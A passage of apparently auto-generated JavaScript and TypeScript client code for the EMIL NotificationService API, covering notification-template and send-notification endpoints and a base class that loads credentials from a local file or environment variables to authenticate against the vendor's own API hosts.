});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate: function (id, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.deleteNotificationTemplate(id, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate: function (id, id2, authorization, expand, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.getNotificationTemplate(id, id2, authorization, expand, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.listNotificationTemplates(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate: function (id, updateNotificationTemplateRequestDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.updateNotificationTemplate(id, updateNotificationTemplateRequestDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.NotificationTemplatesApiFp = NotificationTemplatesApiFp;
/**
* NotificationTemplatesApi - factory interface
* @export
*/
var NotificationTemplatesApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.NotificationTemplatesApiFp)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate: function (createNotificationTemplateRequestDto, authorization, options) {
return localVarFp.createNotificationTemplate(createNotificationTemplateRequestDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate: function (id, authorization, options) {
return localVarFp.deleteNotificationTemplate(id, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate: function (id, id2, authorization, expand, options) {
return localVarFp.getNotificationTemplate(id, id2, authorization, expand, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return localVarFp.listNotificationTemplates(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate: function (id, updateNotificationTemplateRequestDto, authorization, options) {
return localVarFp.updateNotificationTemplate(id, updateNotificationTemplateRequestDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.NotificationTemplatesApiFactory = NotificationTemplatesApiFactory;
/**
* NotificationTemplatesApi - object-oriented interface
* @export
* @class NotificationTemplatesApi
* @extends {BaseAPI}
*/
var NotificationTemplatesApi = /** @class */ (function (_super) {
__extends(NotificationTemplatesApi, _super);
function NotificationTemplatesApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {NotificationTemplatesApiCreateNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
NotificationTemplatesApi.prototype.createNotificationTemplate = function (requestParameters, options) {
var _this = this;
return (0, exports.NotificationTemplatesApiFp)(this.configuration).createNotificationTemplate(requestParameters.createNotificationTemplateRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {NotificationTemplatesApiDeleteNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
NotificationTemplatesApi.prototype.deleteNotificationTemplate = function (requestParameters, options) {
var _this = this;
return (0, exports.NotificationTemplatesApiFp)(this.configuration).deleteNotificationTemplate(requestParameters.id, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {NotificationTemplatesApiGetNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
NotificationTemplatesApi.prototype.getNotificationTemplate = function (requestParameters, options) {
var _this = this;
return (0, exports.NotificationTemplatesApiFp)(this.configuration).getNotificationTemplate(requestParameters.id, requestParameters.id2, requestParameters.authorization, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {NotificationTemplatesApiListNotificationTemplatesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
NotificationTemplatesApi.prototype.listNotificationTemplates = function (requestParameters, options) {
var _this = this;
if (requestParameters === void 0) { requestParameters = {}; }
return (0, exports.NotificationTemplatesApiFp)(this.configuration).listNotificationTemplates(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {NotificationTemplatesApiUpdateNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
NotificationTemplatesApi.prototype.updateNotificationTemplate = function (requestParameters, options) {
var _this = this;
return (0, exports.NotificationTemplatesApiFp)(this.configuration).updateNotificationTemplate(requestParameters.id, requestParameters.updateNotificationTemplateRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return NotificationTemplatesApi;
}(base_1.BaseAPI));
exports.NotificationTemplatesApi = NotificationTemplatesApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { SendNotificationRequestDto } from '../models';
import { SendNotificationResponseClass } from '../models';
/**
* NotificationsApi - axios parameter creator
* @export
*/
export declare const NotificationsApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification: (sendNotificationRequestDto: SendNotificationRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* NotificationsApi - functional programming interface
* @export
*/
export declare const NotificationsApiFp: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification(sendNotificationRequestDto: SendNotificationRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<SendNotificationResponseClass>>;
};
/**
* NotificationsApi - factory interface
* @export
*/
export declare const NotificationsApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification(sendNotificationRequestDto: SendNotificationRequestDto, authorization?: string, options?: any): AxiosPromise<SendNotificationResponseClass>;
};
/**
* Request parameters for sendNotification operation in NotificationsApi.
* @export
* @interface NotificationsApiSendNotificationRequest
*/
export interface NotificationsApiSendNotificationRequest {
/**
*
* @type {SendNotificationRequestDto}
* @memberof NotificationsApiSendNotification
*/
readonly sendNotificationRequestDto: SendNotificationRequestDto;
/**
* Bearer Token
* @type {string}
* @memberof NotificationsApiSendNotification
*/
readonly authorization?: string;
}
/**
* NotificationsApi - object-oriented interface
* @export
* @class NotificationsApi
* @extends {BaseAPI}
*/
export declare class NotificationsApi extends BaseAPI {
/**
* undefined **Required Permissions** none
* @param {NotificationsApiSendNotificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationsApi
*/
sendNotification(requestParameters: NotificationsApiSendNotificationRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<SendNotificationResponseClass, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.NotificationsApi = exports.NotificationsApiFactory = exports.NotificationsApiFp = exports.NotificationsApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* NotificationsApi - axios parameter creator
* @export
*/
var NotificationsApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification: function (sendNotificationRequestDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'sendNotificationRequestDto' is not null or undefined
(0, common_1.assertParamExists)('sendNotification', 'sendNotificationRequestDto', sendNotificationRequestDto);
localVarPath = "/notificationservice/v1/notifications";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(sendNotificationRequestDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
};
};
exports.NotificationsApiAxiosParamCreator = NotificationsApiAxiosParamCreator;
/**
* NotificationsApi - functional programming interface
* @export
*/
var NotificationsApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.NotificationsApiAxiosParamCreator)(configuration);
return {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification: function (sendNotificationRequestDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.sendNotification(sendNotificationRequestDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.NotificationsApiFp = NotificationsApiFp;
/**
* NotificationsApi - factory interface
* @export
*/
var NotificationsApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.NotificationsApiFp)(configuration);
return {
/**
* undefined **Required Permissions** none
* @param {SendNotificationRequestDto} sendNotificationRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
sendNotification: function (sendNotificationRequestDto, authorization, options) {
return localVarFp.sendNotification(sendNotificationRequestDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.NotificationsApiFactory = NotificationsApiFactory;
/**
* NotificationsApi - object-oriented interface
* @export
* @class NotificationsApi
* @extends {BaseAPI}
*/
var NotificationsApi = /** @class */ (function (_super) {
__extends(NotificationsApi, _super);
function NotificationsApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* undefined **Required Permissions** none
* @param {NotificationsApiSendNotificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationsApi
*/
NotificationsApi.prototype.sendNotification = function (requestParameters, options) {
var _this = this;
return (0, exports.NotificationsApiFp)(this.configuration).sendNotification(requestParameters.sendNotificationRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return NotificationsApi;
}(base_1.BaseAPI));
exports.NotificationsApi = NotificationsApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
import { AxiosInstance, AxiosRequestConfig } from 'axios';
export declare const BASE_PATH: string;
/**
*
* @export
*/
export declare const COLLECTION_FORMATS: {
csv: string;
ssv: string;
tsv: string;
pipes: string;
};
export interface LoginClass {
accessToken: string;
permissions: string;
}
export interface SwitchWorkspaceRequest {
username: string;
targetWorkspace: string;
}
export interface SwitchWorkspaceResponseClass {
accessToken: string;
permissions: string;
}
export declare enum Environment {
Production = "https://apiv2.emil.de",
Test = "https://apiv2-test.emil.de",
Staging = "https://apiv2-staging.emil.de",
Development = "https://apiv2-dev.emil.de",
ProductionZurich = "https://eu-central-2.apiv2.emil.de"
}
export declare function resetRetry(): void;
/**
*
* @export
* @interface RequestArgs
*/
export interface RequestArgs {
url: string;
options: AxiosRequestConfig;
}
/**
*
* @export
* @class BaseAPI
*/
export declare class BaseAPI {
protected basePath: string;
protected axios: AxiosInstance;
protected configuration: Configuration;
private username?;
private password?;
constructor(configuration?: Configuration, basePath?: string, axios?: AxiosInstance);
initialize(env?: Environment, targetWorkspace?: string): Promise<void>;
private loadCredentials;
private readConfigFile;
private readEnvVariables;
selectEnvironment(env: Environment): void;
authorize(username: string, password: string, targetWorkspace?: string): Promise<void>;
switchWorkspace(targetWorkspace: string): Promise<void>;
refreshTokenInternal(): Promise<string>;
private extractRefreshToken;
getConfiguration(): Configuration;
private attachInterceptor;
}
/**
*
* @export
* @class RequiredError
* @extends {Error}
*/
export declare class RequiredError extends Error {
field: string;
name: "RequiredError";
constructor(field: string, msg?: string);
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.RequiredError = exports.BaseAPI = exports.resetRetry = exports.Environment = exports.COLLECTION_FORMATS = exports.BASE_PATH = void 0;
var configuration_1 = require("./configuration");
// Some imports not used depending on template conditions
// @ts-ignore
var axios_1 = __importDefault(require("axios"));
var fs = __importStar(require("fs"));
var path = __importStar(require("path"));
var os = __importStar(require("os"));
exports.BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, "");
var CONFIG_DIRECTORY = '.emil';
var CONFIG_FILENAME = 'credentials';
var KEY_USERNAME = 'emil_username';
var KEY_PASSWORD = 'emil_password';
var filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME;
/**
*
* @export
*/
exports.COLLECTION_FORMATS = {
csv: ",",
ssv: " ",
tsv: "\t",
pipes: "|",
};
var Environment;
(function (Environment) {
Environment["Production"] = "https://apiv2.emil.de";
Environment["Test"] = "https://apiv2-test.emil.de";
Environment["Staging"] = "https://apiv2-staging.emil.de";
Environment["Development"] = "https://apiv2-dev.emil.de";
Environment["ProductionZurich"] = "https://eu-central-2.apiv2.emil.de";
})(Environment = exports.Environment || (exports.Environment = {}));
var _retry_count = 0;
var _retry = null;
function resetRetry() {
_retry_count = 0;
}
exports.resetRetry = resetRetry;
var NETWORK_ERROR_MESSAGE = "Network Error";
/**
*
* @export
* @class BaseAPI
*/
var BaseAPI = /** @class */ (function () {
function BaseAPI(configuration, basePath, axios) {
if (basePath === void 0) { basePath = exports.BASE_PATH; }
if (axios === void 0) { axios = axios_1.default; }
this.basePath = basePath;
this.axios = axios;
if (configuration) {
this.configuration = configuration;
this.basePath = configuration.basePath || this.basePath;
}
else {
this.configuration = new configuration_1.Configuration({
basePath: this.basePath,
});
}
this.attachInterceptor(axios);
}
BaseAPI.prototype.initialize = function (env, targetWorkspace) {
if (env === void 0) { env = Environment.Production; }
return __awaiter(this, void 0, void 0, function () {
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
this.configuration.basePath = env;
return [4 /*yield*/, this.loadCredentials()];
case 1:
_a.sent();
if (!this.username) return [3 /*break*/, 3];
return [4 /*yield*/, this.authorize(this.username, this.password, targetWorkspace)];
case 2:
_a.sent();
this.password = null; // to avoid keeping password loaded in memory.
_a.label = 3;
case 3: return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.loadCredentials = function () {
return __awaiter(this, void 0, void 0, function () {
var error_1;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
_a.trys.push([0, 2, , 3]);
return [4 /*yield*/, this.readConfigFile()];
case 1:
_a.sent();
return [3 /*break*/, 3];
case 2:
error_1 = _a.sent();
console.warn("No credentials file found. Check that ".concat(filePath, " exists."));
return [3 /*break*/, 3];
case 3:
this.readEnvVariables();
if (!this.username) {
